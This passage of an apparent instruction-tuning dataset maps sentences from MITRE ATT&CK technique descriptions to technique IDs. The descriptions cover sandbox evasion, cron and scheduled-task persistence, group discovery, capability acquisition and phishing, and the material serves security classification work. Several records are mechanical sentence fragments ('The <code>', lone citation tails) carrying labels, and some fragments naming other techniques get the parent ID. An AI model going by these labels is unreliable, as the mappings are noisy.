provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001),", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[System Information Discovery](https://attack.mitre.org/techniques/T1082), and", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [System Information Discovery](https://attack.mitre.org/techniques/T1082), and ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checks could include generic system properties such as host/domain name and samples of network traffic.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checks could include generic system properties such as host/domain name and samples of network traffic. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques)", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code> ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "crontab</code> file contains the schedule of cron entries to be run and the specified times for execution.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any <code>crontab</code> files are stored in operating system-specific file paths.", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any <code>crontab</code> files are stored in operating system-specific file paths. ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).", "output": "T1053.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ### Response: T1053.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group and permission settings.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group and permission settings. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group permission settings in many different ways.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group permission settings in many different ways. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find domain-level groups and permission settings.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find domain-level groups and permission settings. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.", "output": "T1069.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups. ### Response: T1069.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire information about vulnerabilities that can be used during targeting.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire information about vulnerabilities that can be used during targeting. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is usually a delay between when a vulnerability is discovered and when it is made public.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is usually a delay between when a vulnerability is discovered and when it is made public. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors).", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to gain access to victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to gain access to victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also be conducted via third-party services, like social media platforms.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also be conducted via third-party services, like social media platforms. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Luna Moth)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Luna Moth) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing with a link is a specific variant of spearphishing.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing with a link is a specific variant of spearphishing. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing may also involve social engineering techniques, such as posing as a trusted source.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing may also involve social engineering techniques, such as posing as a trusted source. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the malicious emails contain links.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the malicious emails contain links. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste 